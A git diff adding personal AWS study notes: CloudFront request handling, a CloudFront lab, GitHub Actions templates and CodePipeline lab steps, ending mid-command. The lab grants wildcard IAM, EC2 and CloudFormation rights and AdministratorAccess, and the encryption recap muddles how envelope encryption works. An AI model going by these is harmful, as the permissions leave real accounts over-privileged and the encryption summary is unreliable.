Over](https://www.ibm.com/support/pages/openpages-load-balanced-configuration-vs-session-fail-over) + + +. diff --git a/_posts/01Cloud/01AWS/Balancing/CloudFront.md b/_posts/01Cloud/01AWS/Balancing/CloudFront.md new file mode 100644 index 00000000000..206f13fa8c7 --- /dev/null +++ b/_posts/01Cloud/01AWS/Balancing/CloudFront.md @@ -0,0 +1,203 @@ + + +--- + + + +## Use IAM to Control API access + +- an IAM policy that enforces SSL. +- It grants application permission to access all of CloudFront. +- it also requires secure transport: must use SSL or TLS. +- In an IAM policy, you can specify any and all API actions that CloudFront offers. The action name must be prefixed with the lowercase string cloudfront:. + - An example action name: cloudfront:GetDistributionConfig +- To learn more about AWS Authentication and Access Control, select the link. https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/UsingWithIAM.html + + +encrypting data + +basic review of encryption. +- get your key, either hardware or software. +- This example uses a symmetric data key to encrypt plaintext data. +- This process results in encrypted data that can be stored in a database or in a S3 bucket. +- When it’s time to decrypt the data and read it, you take the combination of the symmetric data key and the master key, which creates an encrypted data key. +- unlocks the encrypted document, read the document as plaintext data. + + + + +--- + + +# Request and Response Behavior + +Request and Response Behavior for S3 Origins + +Topics +- How CloudFront Processes HTTP and HTTPS Requests +- How CloudFront Processes and Forwards Requests to Your S3 Origin Server + - Caching Duration and Minimum TTL + - Client IP Addresses + - Conditional GETs + - Cookies + - Cross-Origin Resource Sharing (CORS) + - GET Requests That Include a Body + - HTTP Methods + - HTTP Request Headers That CloudFront Removes or Updates + - Maximum Length of a Request and Maximum Length of a URL + - OCSP Stapling + - Protocols + - Query Strings + - Origin Connection Timeout and Attempts + - Origin Response Timeout + - Simultaneous Requests for the Same Object (Traffic Spikes) +- How CloudFront Processes Responses from Your S3 Origin Server + +How CloudFront Processes HTTP and HTTPS Requests +For S3 origins, CloudFront accepts requests in both HTTP and HTTPS protocols for objects in a CloudFront distribution by default. +- CloudFront then forwards the requests to your S3 bucket using the same protocol in which the requests were made. +For custom origins, when create your distribution, can specify how CloudFront accesses origin: HTTP only, or matching the protocol that is used by the viewer. For more information about how CloudFront handles HTTP and HTTPS requests for custom origins, see Protocols. +For information about how to restrict your web distribution so that end users can only access objects using HTTPS, see Using HTTPS with CloudFront. (This option doesn't apply to RTMP distributions, which use the RTMP protocol.) +Note: The charge for HTTPS requests is higher than the charge for HTTP requests. +For more information about billing rates, go to the CloudFront pricing plan. + + +How CloudFront Processes and Forwards Requests to Your S3 Origin Server + +Caching Duration and Minimum TTL +For web distributions, to control how long your objects stay in a CloudFront cache before CloudFront forwards another request to your origin, you can: +- Configure your origin to add a Cache-Control or an Expires header field to each object. +- Specify a value for Minimum TTL in CloudFront cache behaviors. +- Use the default value of 24 hours. +- For more information, see Managing How Long Content Stays in an Edge Cache (Expiration). + +Client IP Addresses +- If a viewer sends a request to CloudFront and does not include an X-Forwarded-For request header, + - CloudFront gets the IP address of the viewer from the TCP connection, + - adds an X-Forwarded-For header that includes the IP address, + - and forwards the request to the origin. + - For example, if CloudFront gets the IP address 192.0.2.2 from the TCP connection, it forwards the following header to the origin: + - X-Forwarded-For: 192.0.2.2 +- If a viewer sends a request to CloudFront and includes an X-Forwarded-For request header, + - CloudFront gets the IP address of the viewer from the TCP connection, + - appends it to the end of the X-Forwarded-For header, + - and forwards the request to the origin. + - For example, if the viewer request includes X-Forwarded-For: 192.0.2.4, 192.0.2.3 and CloudFront gets the IP address 192.0.2.2 from the TCP connection, it forwards the following header to the origin: + - X-Forwarded-For: 192.0.2.4,192.0.2.3,192.0.2.2 +Note The X-Forwarded-For header contains IPv4 addresses (such as 192.0.2.44) and IPv6 addresses (such as 2001:0db8:85a3:0000:0000:8a2e:0370:7334). + +Conditional GETs +- When CloudFront receives a request for an object that has expired from an edge cache, + - CloudFront forwards the request to the S3 origin + - either to get the latest version of the object + - or to get confirmation from S3 that the CloudFront edge cache already has the latest version. + - When S3 originally sent the object to CloudFront, it included an ETag value and a LastModified value in the response. + - In the new request that CloudFront forwards to S3, CloudFront adds one or both of the following: + - An If-Match or If-None-Match header that contains the ETag value for the expired version of the object. + - An If-Modified-Since header that contains the LastModified value for the expired version of the object. +- S3 uses this information to determine + - whether the object has been updated + - whether to return the entire object to CloudFront + - or to return only an HTTP 304 status code (not modified). + +Cookies +S3 doesn't process cookies. If you configure a cache behavior to forward cookies to an S3 origin, CloudFront forwards the cookies, but S3 ignores them. +All future requests for the same object, regardless if you vary the cookie, are served from the existing object in the cache. + + +Cross-Origin Resource Sharing (CORS) +- If you want CloudFront to respect S3 cross-origin resource sharing settings, configure CloudFront to forward selected headers to S3. +- For more information, see Caching Content Based on Request Headers. + + +GET Requests That Include a Body +If a viewer GET request includes a body, CloudFront returns an HTTP status code 403 (Forbidden) to the viewer. +HTTP Methods +If you configure CloudFront to process all of the HTTP methods that it supports, CloudFront accepts the following requests from viewers and forwards them to your S3 origin: +- DELETE +- GET +- HEAD +- OPTIONS +- PATCH +- POST +- PUT +- CloudFront always caches responses to GET and HEAD requests. +- can also configure CloudFront to cache responses to OPTIONS requests. +- does not cache responses to requests that use the other methods. +If you use an S3 bucket as the origin for your distribution and if you use CloudFront origin access identities, POST requests aren't supported in some S3 Regions and PUT requests in those Regions require an additional header. For more information, see Using an OAI in S3 Regions that Support Only Signature Version 4 Authentication. +If you want to use multi-part uploads to add objects to an S3 bucket, you must add a CloudFront origin access identity to your distribution and grant the origin access identity the needed permissions. For more information, see Restricting Access to S3 Content by Using an Origin Access Identity. +Important +If you configure CloudFront to accept and forward to S3 all of the HTTP methods that CloudFront supports, you must create a CloudFront origin access identity to restrict access to your S3 content and grant the origin access identity the required permissions. For example, if you configure CloudFront to accept and forward these methods because you want to use PUT, you must configure S3 bucket policies or ACLs to handle DELETE requests appropriately so viewers can't delete resources that you don't want them to. For more information, see Restricting Access to S3 Content by Using an Origin Access Identity. +For information about the operations supported by S3, see the S3 documentation. + +HTTP Request Headers That CloudFront Removes or Updates +CloudFront removes or updates some headers before forwarding requests to your S3 origin. +For most headers this behavior is the same as for custom origins. For a full list of HTTP request headers and how CloudFront processes them, see HTTP Request Headers and CloudFront Behavior (Custom and S3 Origins). + +Maximum Length of a Request and Maximum Length of a URL +The maximum length of a request, including the path, the query string (if any), and headers, is 20,480 bytes. +CloudFront constructs a URL from the request. The maximum length of this URL is 8192 bytes. +If a request or a URL exceeds these maximums, CloudFront returns HTTP status code 413, Request Entity Too Large, to the viewer, and then terminates the TCP connection to the viewer. + +OCSP Stapling +When a viewer submits an HTTPS request for an object, either CloudFront or the viewer must confirm with the certificate authority (CA) that the SSL certificate for the domain has not been revoked. OCSP stapling speeds up certificate validation by allowing CloudFront to validate the certificate and to cache the response from the CA, so the client doesn't need to validate the certificate directly with the CA. +The performance improvement of OCSP stapling is more pronounced when CloudFront receives a lot of HTTPS requests for objects in the same domain. Each server in a CloudFront edge location must submit a separate validation request. When CloudFront receives a lot of HTTPS requests for the same domain, every server in the edge location soon has a response from the CA that it can "staple" to a packet in the SSL handshake; when the viewer is satisfied that the certificate is valid, CloudFront can serve the requested object. If your distribution doesn't get much traffic in a CloudFront edge location, new requests are more likely to be directed to a server that hasn't validated the certificate with the CA yet. In that case, the viewer separately performs the validation step and the CloudFront server serves the object. That CloudFront server also submits a validation request to the CA, so the next time it receives a request that includes the same domain name, it has a validation response from the CA. + +Protocols +CloudFront forwards HTTP or HTTPS requests to the origin server based on the protocol of the viewer request, either HTTP or HTTPS. +Important +If your S3 bucket is configured as a website endpoint, you cannot configure CloudFront to use HTTPS to communicate with your origin because S3 doesn't support HTTPS connections in that configuration. + +Query Strings +For web distributions, you can configure whether CloudFront forwards query string parameters to your S3 origin. For RTMP distributions, CloudFront does not forward query string parameters. For more information, see Caching Content Based on Query String Parameters. + +Origin Connection Timeout and Attempts +Origin connection timeout is the number of seconds that CloudFront waits when trying to establish a connection to the origin. +Origin connection attempts is the number of times that CloudFront attempts to connect to the origin. +Together, these settings determine how long CloudFront tries to connect to the origin before failing over to the secondary origin (in the case of an origin group) or returning an error response to the viewer. By default, CloudFront waits as long as 30 seconds (3 attempts of 10 seconds each) before attempting to connect to the secondary origin or returning an error response. You can reduce this time by specifying a shorter connection timeout, fewer attempts, or both. +For more information, see Controlling Origin Timeouts and Attempts. + +Origin Response Timeout +The origin response timeout, also known as the origin read timeout or origin request timeout, applies to both of the following: +- The amount of time, in seconds, that CloudFront waits for a response after forwarding a request to the origin. +- The amount of time, in seconds, that CloudFront waits after receiving a packet of a response from the origin and before receiving the next packet. +CloudFront behavior depends on the HTTP method of the viewer request: +- GET and HEAD requests – If the origin doesn’t respond within 30 seconds or stops responding for 30 seconds, CloudFront drops the connection. If the specified number of origin connection attempts is more than 1, CloudFront tries again to get a complete response. CloudFront tries up to 3 times, as determined by the value of the origin connection attempts setting. If the origin doesn’t respond during the final attempt, CloudFront doesn’t try again until it receives another request for content on the same origin. +- DELETE, OPTIONS, PATCH, PUT, and POST requests – If the origin doesn’t respond within 30 seconds, CloudFront drops the connection and doesn’t try again to contact the origin. The client can resubmit the request if necessary. +You can’t change the response timeout for an S3 origin (an S3 bucket that is not configured with static website hosting). + +Simultaneous Requests for the Same Object (Traffic Spikes) +When a CloudFront edge location receives a request for an object and either the object isn't currently in the cache or the object has expired, CloudFront immediately sends the request to your S3 origin. If there's a traffic spike—if additional requests for the same object arrive at the edge location before S3 responds to the first request—CloudFront pauses briefly before forwarding additional requests for the object to your origin. Typically, the response to the first request will arrive at the CloudFront edge location before the response to subsequent requests. This brief pause helps to reduce unnecessary load on S3. If additional requests are not identical because, for example, you configured CloudFront to cache based on request headers or query strings, CloudFront forwards all of the unique requests to your origin. +When the response from the origin includes a Cache-Control: no-cache header, CloudFront typically forwards the next request for the same object to the origin to determine whether the object has been updated. However, when there's a traffic spike and CloudFront pauses after forwarding the first request to your origin, multiple viewer requests might arrive before CloudFront receives a response from the origin. When CloudFront receives a response that contains a Cache-Control: no-cache header, it sends the object in the response to the viewer that made the original request and to all of the viewers that requested the object during the pause. After the response arrives from the origin, CloudFront forwards the next viewer request for the same object to the origin. In CloudFront access logs, the first request is identified as a Miss in the x-edge-result-type column, and all subsequent requests that CloudFront received during the pause are identified as a Hit. For more information about access log file format, see Web Distribution Log File Format. +How CloudFront Processes Responses from Your S3 Origin Server +This topic contains information about how CloudFront processes responses from your S3 origin. +Topics +- Canceled Requests +- HTTP Response Headers That CloudFront Removes or Updates +- Maximum File Size +- Redirects +Canceled Requests +If an object is not in the edge cache, and if a viewer terminates a session (for example, closes a browser) after CloudFront gets the object from your origin but before it can deliver the requested object, CloudFront does not cache the object in the edge location. +HTTP Response Headers That CloudFront Removes or Updates +CloudFront removes or updates the following header fields before forwarding the response from your S3 origin to the viewer: +- Set-Cookie – If you configure CloudFront to forward cookies, it will forward the Set-Cookie header field to clients. For more information, see Caching Content Based on Cookies. +- Trailer +- Transfer-Encoding – If your S3 origin returns this header field, CloudFront sets the value to chunked before returning the response to the viewer. +- Upgrade +- Via – CloudFront sets the value to the following in the response to the viewer:Via: http-version alphanumeric-string.cloudfront.net (CloudFront)For example, if the client makes a request over HTTP/1.1, the value is something like the following:Via: 1.1 1026589cc7887e7a0dc7827b4example.cloudfront.net (CloudFront) +Maximum File Size +The maximum size of a response body that CloudFront will return to the viewer is 20 GB. This includes chunked transfer responses that don't specify the Content-Length header value. + +Redirects +You can configure an S3 bucket to redirect all requests to another host name; this can be another S3 bucket or an HTTP server. If you configure a bucket to redirect all requests and if the bucket is the origin for a CloudFront distribution, we recommend that you configure the bucket to redirect all requests to a CloudFront distribution using either the domain name for the distribution (for example, d111111abcdef8.cloudfront.net) or an alternate domain name (a CNAME) that is associated with a distribution (for example, example.com). Otherwise, viewer requests bypass CloudFront, and the objects are served directly from the new origin. +Note +If you redirect requests to an alternate domain name, you must also update the DNS service for your domain by adding a CNAME record. For more information, see Using Custom URLs for Files by Adding Alternate Domain Names (CNAMEs). +Here's what happens when you configure a bucket to redirect all requests: +1. A viewer (for example, a browser) requests an object from CloudFront. +1. CloudFront forwards the request to the S3 bucket that is the origin for your distribution. +1. S3 returns an HTTP status code 301 (Moved Permanently) as well as the new location. +1. CloudFront caches the redirect status code and the new location, and returns the values to the viewer. CloudFront does not follow the redirect to get the object from the new location. +1. The viewer sends another request for the object, but this time the viewer specifies the new location that it got from CloudFront: +- If the S3 bucket is redirecting all requests to a CloudFront distribution, using either the domain name for the distribution or an alternate domain name, CloudFront requests the object from the S3 bucket or the HTTP server in the new location. When the new location returns the object, CloudFront returns it to the viewer and caches it in an edge location. +- If the S3 bucket is redirecting requests to another location, the second request bypasses CloudFront. The S3 bucket or the HTTP server in the new location returns the object directly to the viewer, so the object is never cached in a CloudFront edge cache. +1. diff --git a/_posts/01Cloud/01AWS/CDN/2020-07-16-Amazon-CloudFront.md b/_posts/01Cloud/01AWS/CDN/2020-07-16-Amazon-CloudFront.md new file mode 100644 index 00000000000..e80505784ea --- /dev/null +++ b/_posts/01Cloud/01AWS/CDN/2020-07-16-Amazon-CloudFront.md @@ -0,0 +1,79 @@ +--- +title: AWS Lab - AWS CloudFront +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, CDN] +tags: [AWS, Lab, CloudFront] +math: true +image: +--- + + +# CloudFront + +- [CloudFront](#cloudfront) + - [create an Amazon CloudFront distribution](#create-an-amazon-cloudfront-distribution) + - [Task 1: Store a Publicly Accessible Image File in an Amazon S3 Bucket](#task-1-store-a-publicly-accessible-image-file-in-an-amazon-s3-bucket) + - [Task 2: Create an Amazon CloudFront Web Distribution](#task-2-create-an-amazon-cloudfront-web-distribution) + - [Task 3: Create a Link to Your Object](#task-3-create-a-link-to-your-object) + - [Task 4: Delete Your Amazon CloudFront Distribution](#task-4-delete-your-amazon-cloudfront-distribution) + +--- + +## create an Amazon CloudFront distribution + +create an Amazon CloudFront distribution that will use a CloudFront domain name in the url to distribute a publicly accessible image file stored in an Amazon S3 bucket. +- Create a new Amazon CloudFront distribution +- Use Amazon CloudFront distribution to serve an image file +- Delete Amazon CloudFront distribution when it is no longer required + + +## Task 1: Store a Publicly Accessible Image File in an Amazon S3 Bucket + +1. AWS Management Console > Services > S3 > Create bucket +2. Permissions tab > Block public access > Uncheck the Block all public access. All five boxes should now be unchecked +3. Upload file > Manage public permissions > Grant public read access to this object(s) +4. file > Object URL + + +## Task 2: Create an Amazon CloudFront Web Distribution + +1. AWS Management Console > Services > CloudFront. +2. Create Distribution + - delivery method: Web section + - Origin Domain Name: `the S3 bucket create` + - Scroll to the bottom of the page, then click Create Distribution + + +## Task 3: Create a Link to Your Object + +`myimage.html` +- DOMAIN: Amazon CloudFront Domain Name +- OBJECT: name of the file uploaded to Amazon S3 bucket + +```html + +My CloudFront Test + +

    My text content goes here.

    +

    my test image

    + + +``` + +## Task 4: Delete Your Amazon CloudFront Distribution + +1. Disable > delete + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/0000000-Github-Action-example.md b/_posts/01Cloud/01AWS/CodeDevelop/0000000-Github-Action-example.md new file mode 100644 index 00000000000..0ebe0a8c4c4 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/0000000-Github-Action-example.md @@ -0,0 +1,191 @@ +--- +title: CI/CD - Github Action Template +date: 2020-11-11 11:11:11 -0400 +categories: [10SecConcept] +tags: [SecConcept] +toc: true +image: +--- + +- [CI/CD - Github Action Template](#cicd---github-action-template) + - [example 1](#example-1) + - [example 2: build a website](#example-2-build-a-website) + +--- + + +# CI/CD - Github Action Template + +--- + + +## example 1 + +```yml +# This is a basic workflow to help you get started with Actions +name: CI + +# Controls when the action will run. +on: + # Triggers the workflow on push or pull request events but only for the main branch + push: + branches: [ main ] + pull_request: + branches: [ main ] + + # Allows you to run this workflow manually from the Actions tab + workflow_dispatch: + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel +jobs: + # This workflow contains a single job called "build" + build: + # The type of runner that the job will run on + runs-on: ubuntu-latest + + # Steps represent a sequence of tasks that will be executed as part of the job + steps: + # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it + - uses: actions/checkout@v2 + + # Runs a single command using the runners shell + - name: Run a one-line script + run: echo Hello, world! + + # Runs a set of commands using the runners shell + - name: Run a multi-line script + run: | + echo Add other actions to build, + echo test, and deploy your project. +``` + + +--- + + + +## example 2: build a website + +```yml +name: 'Automatic build' + +# Controls when the action will run. +on: + # Triggers the workflow on push or pull request events but only for the main branch + push: # when push + branches: # which brances will trigger + - master + paths-ignore: # which path will not trigger + - '.gitignore' + - 'README.md' + - 'LICENSE' + pull_request: + branches: [ main ] + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel +jobs: + # job 1 name: This workflow contains a single job called "build-n-test" + build-n-test: + # The type of runner that the job will run on + runs-on: ubuntu-latest + + # Steps represent a sequence of tasks that will be executed as part of the job + steps: + - uses: actions/setup-ruby@v1 # run official "actions/checkout@v2" code to setup the environment + with: + ruby-version: '2.6.x' + + # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it + - name: Checkout # name the shell + uses: actions/checkout@v2 # run official "actions/checkout@v2" code to copy the current code + with: + fetch-depth: 0 + + - name: Bundle Caching + id: bundle-cache + uses: actions/cache@v1 + with: + path: vendor/bundle + key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile') }} + restore-keys: | + ${{ runner.os }}-gems- + + - name: Bundle config # name the shell + run: | # the cmd to run script + bundle config path vendor/bundle + + - name: Bundle Install + if: steps.bundle-cache.outputs.cache-hit != 'true' + run: | + bundle install + + - name: Bundle Install locally + if: steps.bundle-cache.outputs.cache-hit == 'true' + run: | + bundle install --local + + - name: Build Site + run: | + bash tools/build.sh -b "" + + - name: Test Site + run: | + bash tools/test.sh + + deploy: # job 2 name + needs: build-n-test # needs job 1 to be run first for deploy to be run + runs-on: ubuntu-latest + + steps: + - uses: actions/setup-ruby@v1 + with: + ruby-version: '2.6.x' + + - name: Checkout + uses: actions/checkout@v2 + with: + fetch-depth: 0 + + - name: Bundle Caching + id: bundle-cache + uses: actions/cache@v1 + with: + path: vendor/bundle + key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile') }} + restore-keys: | + ${{ runner.os }}-gems- + + - name: Bundle config + run: | + bundle config path vendor/bundle + + - name: Bundle Install + if: steps.bundle-cache.outputs.cache-hit != 'true' + run: | + bundle install + + - name: Bundle Install locally + if: steps.bundle-cache.outputs.cache-hit == 'true' + run: | + bundle install --local + + - name: Build site + run: | + bash tools/build.sh + + - name: Deploy + run: | + bash tools/deploy.sh +``` + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-0CodePipeline.md b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-0CodePipeline.md new file mode 100644 index 00000000000..611c312ecde --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/2020-07-18-0CodePipeline.md @@ -0,0 +1,471 @@ +--- +title: AWS - CodeDevelop - CodePipeline +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +- [CodePipeline](#codepipeline) + - [basic](#basic) + - [Components of AWS Data Pipeline](#components-of-aws-data-pipeline) + - [Accessing AWS Data Pipeline](#accessing-aws-data-pipeline) + - [Related Services](#related-services) + - [Pipeline Components, Instances, and Attempts](#pipeline-components-instances-and-attempts) + - [Pipeline Definition](#pipeline-definition) + - [Pipeline Components](#pipeline-components) + - [Data Nodes](#data-nodes) + - [setup](#setup) + - [CodePipeline: CodeCommit - ManualAppove - CloudFormation](#codepipeline-codecommit---manualappove---cloudformation) + - [CodePipeline: S3 - CodeDeploy - CloudFormation](#codepipeline-s3---codedeploy---cloudformation) + +--- + +# CodePipeline + +--- + +## basic + +- a web service +- automate the movement and transformation of data. +- define data-driven workflows + - tasks can be dependent on the successful completion of previous tasks. +- define the parameters of your data transformations and AWS Data Pipeline enforces the logic that you've set up. + + +- fully managed +- Continuous integration / continuous delivery service. + - Orchestrates Build, Test & Deployment (the end-to-end software release process) based on the workflow pre-defined. + - A pipeline is a workflow construct that describes how code changes go through a release process. + +- Automated release process required to release the code + - fast, consistent, fewer mistakes + - The pipeline is triggered every time there is a changeto your code + - enables quick release of new features and bug fixes. + +- CodePipeline integrates with + - CodeCommit, CodeBuild, CodeDeploy, + - Github, Jenkins, Elasetic Beanstalk, + - CloudFormation, Lambda + - Elastic container Service + + +![CodePipeline](https://i.imgur.com/IOZKewF.png) + + +CodePipeline: Defined Workflow +- the workflow begins when there is a change detected in the source code. + +CodeCommit: New code appears +- New source code appears in the CodeCommit repository + +CodeBuild: Code is built&tested +- CodeBuild immediately compiles source code, runs tests, and produces packages. + +CodeDeploy: Application Deployed +- The newly built application is deployed into a staging or porduction environment. + + + + + +--- + +## Components of AWS Data Pipeline + +Components of AWS Data Pipeline work together to manage the data: + +1. A pipeline definition specifies the business logic of your data management. + +2. A pipeline schedules and runs tasks by creating Amazon EC2 instances to perform the defined work activities. + - upload your pipeline definition to the pipeline, + - and then activate the pipeline. + - can edit the pipeline definition for a running pipeline and activate the pipeline again for it to take effect. + - can deactivate the pipeline, modify a data source, and then activate the pipeline again. + - When finished with your pipeline, can delete it. + +3. Task Runner polls for tasks and then performs those tasks. + - For example: + - Task Runner could copy log files to Amazon S3 and launch Amazon EMR clusters. + - Task Runner is installed and runs automatically on resources created by the pipeline definitions. + - write a custom task runner application, or you can use the Task Runner application that is provided by AWS Data Pipeline. + + +For example +- use AWS Data Pipeline to archive your web server's logs to Amazon Simple Storage Service (Amazon S3) each day and then run a weekly Amazon EMR (Amazon EMR) cluster over those logs to generate traffic reports. +- AWS Data Pipeline schedules the daily tasks to copy data and the weekly task to launch the Amazon EMR cluster. +- AWS Data Pipeline ensures that Amazon EMR waits for the final day's data to be uploaded to Amazon S3 before it begins its analysis, even if there is an unforeseen delay in uploading the logs. + + + +## Accessing AWS Data Pipeline + +You can create, access, and manage your pipelines using any of the following interfaces: + +1. AWS Management Console: + - web interface to access AWS Data Pipeline. + +2. AWS Command Line Interface (AWS CLI): + - Provides commands for a broad set of AWS services, including AWS Data Pipeline + - supported on Windows, macOS, and Linux. + +3. AWS SDKs + - Provides language-specific APIs and takes care of many of the connection details, such as calculating signatures, handling request retries, and error handling. + +4. Query API + - Provides low-level APIs that you call using HTTPS requests. + - Using the Query API is the most direct way to access AWS Data Pipeline, but it requires that your application handle low-level details such as generating the hash to sign the request, and error handling. + + + +--- + +## Related Services + +AWS Data Pipeline works with the following services to store data + +- Amazon DynamoDB + - fully managed NoSQL database with fast performance at a low cost. + +- Amazon RDS + - fully managed relational database that scales to large datasets. + +- Amazon Redshift + - fast, fully managed, petabyte-scale data warehouse that makes it easy and cost-effective to analyze a vast amount of data. + +- Amazon S3 + - secure, durable, and highly scalable object storage. + +AWS Data Pipeline works with the following compute services to transform data + +- Amazon EC2 + - resizable computing capacity to build and host your software systems. + +- Amazon EMR + - easy, fast, and cost-effective to distribute and process vast amounts of data across Amazon EC2 servers, + - using a framework such as Apache Hadoop or Apache Spark. + + +--- + +## Pipeline Components, Instances, and Attempts + +3 types of items associated with a scheduled pipeline: + +1. Pipeline Components + - define the rules of data management. + - represent the business logic of the pipeline + - represented by the different sections of a pipeline definition. + - specify the data sources, activities, schedule, and preconditions of the workflow. + - can inherit properties from parent components. Relationships among components are defined by reference. + +2. Instances + - When AWS Data Pipeline runs a pipeline, it compiles the pipeline components to create a set of actionable instances. + - Each instance contains all the information for performing a specific task. + - The complete set of instances is the to-do list of the pipeline. + - AWS Data Pipeline hands the instances out to task runners to process. + +3. Attempt objects + - To provide robust data management, AWS Data Pipeline retries a failed operation. + - It continues to do so until the task reaches the maximum number of allowed retry attempts. + - Attempt objects track the various attempts, results, and failure reasons if applicable. + - Essentially, it is the instance with a counter. + - AWS Data Pipeline performs retries using the same resources from the previous attempts, such as Amazon EMR clusters and EC2 instances. + + +Retrying failed tasks +- an important part of a fault tolerance strategy, and AWS Data Pipeline definitions provide conditions and thresholds to control retries. +- but too many retries can delay detection of an unrecoverable failure + - because AWS Data Pipeline does not report failure until it has exhausted all the retries that you specify. + - The extra retries may accrue additional charges if they are running on AWS resources. + - As a result, carefully consider when it is appropriate to exceed the AWS Data Pipeline default settings that you use to control re-tries and related settings. + +![dp-object-types](https://i.imgur.com/CXbguCV.png) + + +--- + +## Pipeline Definition + +**pipeline definition**: how business logic communicate to AWS Data Pipeline. +- It contains the following information: + - Names, locations, and formats of the data sources + - Activities that transform the data + - The schedule for those activities + - Resources that run the activities and preconditions + - Preconditions that must be satisfied before the activities can be scheduled + - Ways to alert with status updates as pipeline execution proceeds + + +From your pipeline definition, AWS Data Pipeline determines the tasks, schedules them, and assigns them to task runners. +- If a task is not completed successfully, AWS Data Pipeline retries the task according to your instructions and, if necessary, reassigns it to another task runner. +- If the task fails repeatedly, you can configure the pipeline to notify you. + +> For example +> in pipeline definition: specify that log files generated by your application are archived each month in 2013 to an Amazon S3 bucket. AWS Data Pipeline would then create 12 tasks, each copying over a month's worth of data, regardless of whether the month contained 30, 31, 28, or 29 days. + + + create a pipeline definition +- Graphically, by using the AWS Data Pipeline console +- Textually, JSON file used by the command line interface +- Programmatically, call the web service with either one of the AWS SDKs or the AWS Data Pipeline API + +--- + +## Pipeline Components + +### Data Nodes +- the location and type of data that a pipeline activity uses as input data for a task or output data is to be stored. +- AWS Data Pipeline supports the following types of data nodes: + - DynamoDBDataNode + - A DynamoDB table that contains data for HiveActivity or EmrActivity to use. + - SqlDataNode + - An SQL table and database query that represent data for a pipeline activity to use. + - Previously, MySqlDataNode was used. Use SqlDataNode instead. + + - RedshiftDataNode + - An Amazon Redshift table that contains data for RedshiftCopyActivity to use. + + - S3DataNode + - An Amazon S3 location that contains one or more files for a pipeline activity to use. + + + +Activities +A definition of work to perform on a schedule using a computational resource and typically input and output data nodes. + +Preconditions +A conditional statement that must be true before an action can run. + +Scheduling Pipelines +Defines the timing of a scheduled event, such as when an activity runs. + +Resources +The computational resource that performs the work that a pipeline defines. + +Actions +An action that is triggered when specified conditions are met, such as the failure of an activity. + +For more information, see Pipeline Definition File Syntax. + + +--- + +## setup + +--- + +### CodePipeline: CodeCommit - ManualAppove - CloudFormation + +![Screen Shot 2021-01-18 at 19.41.32](https://i.imgur.com/DDhcJmb.png) + + +1. Create an AWS IAM Role + - the service that will use this role: `CloudFormation` + - role name: pipeRoleFullAdminAcess + - Click Next: Permissions: + - + `AdministratorAccess` permissions policy. + - Allows CloudFormation to create and manage AWS stacks and resources on your behalf. + +2. Create an AWS CodeCommit Repository and SNS Topic + - Create an AWS CodeCommit Repository + - Repository name: pipeTestsRepo + - Navigate to Simple Notification Service (SNS). + - Enter "manualapprove" as the topic name. + - Click Next step > Create topic. + - Create subscription: Email as the protocol. + - Enter your email address as the endpoint. + - Click Create subscription. + - Navigate to your inbox and Confirm subscription link. + +3. Create an AWS CodePipeline Pipeline + - CodePipeline. + - Create pipeline. + - pipeline name: "ManualApprove4CF" + - Ensure `New service role` is selected. + - Ensure `Allow AWS CodePipeline to create service role so it can be used with this new pipeline` is checked. + - Advanced settings section + - ensure the `Default location` and `Default AWS Managed Key options` are selected. + - Add source stage page: + - Source provider: AWS CodeCommit + - Repository name: pipeTestsRepo + - Branch name: master + - Change detection options: Amazon CloudWatch Events (recommended) + - Skip build stage + - Add deploy stage page: + - Deploy provider: AWS CloudFormation + - Region: US East - (N. Virginia) + - Action mode: Create or update a stack + - Stack name: deploywithmanualapprove + - Artifact name: SourceArtifact + - File name: S3Retain.yaml + - Role name: pipeRoleFullAdminAcess + - Click Next > Create pipeline. + - Click the AWS CloudFormation link in the Deploy panel. + - Once CloudFormation shows complete, return to the CodePipeline service and verify the manualapprove pipeline status shows Succeeded in the Deploy panel. + - Add stage between the Source and Deploy panels. + - stage name: manualapprove + - Add action group. + - action name: `manualapproval` + - action provider: `Manual approval` + - Select the `SNS topic ARN` created earlier in the lab. + - Click Done > Save > Save. + - Click Release change to restart the pipeline. + - Navigate to email, open the APPROVAL NEEDED... message. + - Navigate back to Code Pipeline. + - Click Review in the Manual approve panel. + - Enter "Looks good — approved." in the comments, and click Approve. + + + +--- + +### CodePipeline: S3 - CodeDeploy - CloudFormation + + +``` +cloudFormation.json + +myapp1.zip +- appspec.yml +- index.html +- scripts/ + - scripts.sh + +myapp2.zip +myapp3.zip + +1. create s3 bucket +2. upload the cloudFormation file into a S3 bucket +3. setup the user +4. run the cloudformation to create the ec2 +5. setup CodeDeploy and deploy +6. upload the next version of code (manually triggered) +7. setup the CodePipeline and triggered +8. upload the next version of code (auto triggered) +``` + + +1. create s3 bucket + - for the application: + - same region of the source + - keep all the version + - upload the reversion file: myapp1.zip + - for cloudFormation: + - upload the cloudFormation file: cloudFormation.json + +2. upload the cloudFormation file into a S3 bucket + +3. setup the user + - aws configure the key pair + ```bash + aws iam get-user + aws configure list + aws configure + # input access key id and secrect access key + ``` + - setup user permissions: + - attach needed policy + - S3FullAccess, CodeDeployFullAccess, + - YouNewPolicy + ```json + { + "Version":"2012-10-17", + "Statement":[ + { + "Sid":"VisualEditor0", + "Effect":"Allow", + "Action":"cloudformation:*", + "Resource":"*" + }, + { + "Effect":"Allow", + "Action":"iam:*", + "Resource":"*" + }, + { + "Effect":"Allow", + "Action":"ec2:*", + "Resource":"*" + } + ] + } + ``` + +4. run the cloudformation to create the ec2 + ```bash + # cloudFormation.json + # create the ec2 instance + aws cloudformation create-stack --stack-name CodeDeployDemoStack \ + --template-url https://s3-bucket-url/cloudFormation.json \ + --parameters \ + ParameterKey=InstanceCount, ParameterValue=1 \ + ParameterKey=InstanceType, ParameterValue=t2.micro \ + ParameterKey=KeyPairNamexxxx, 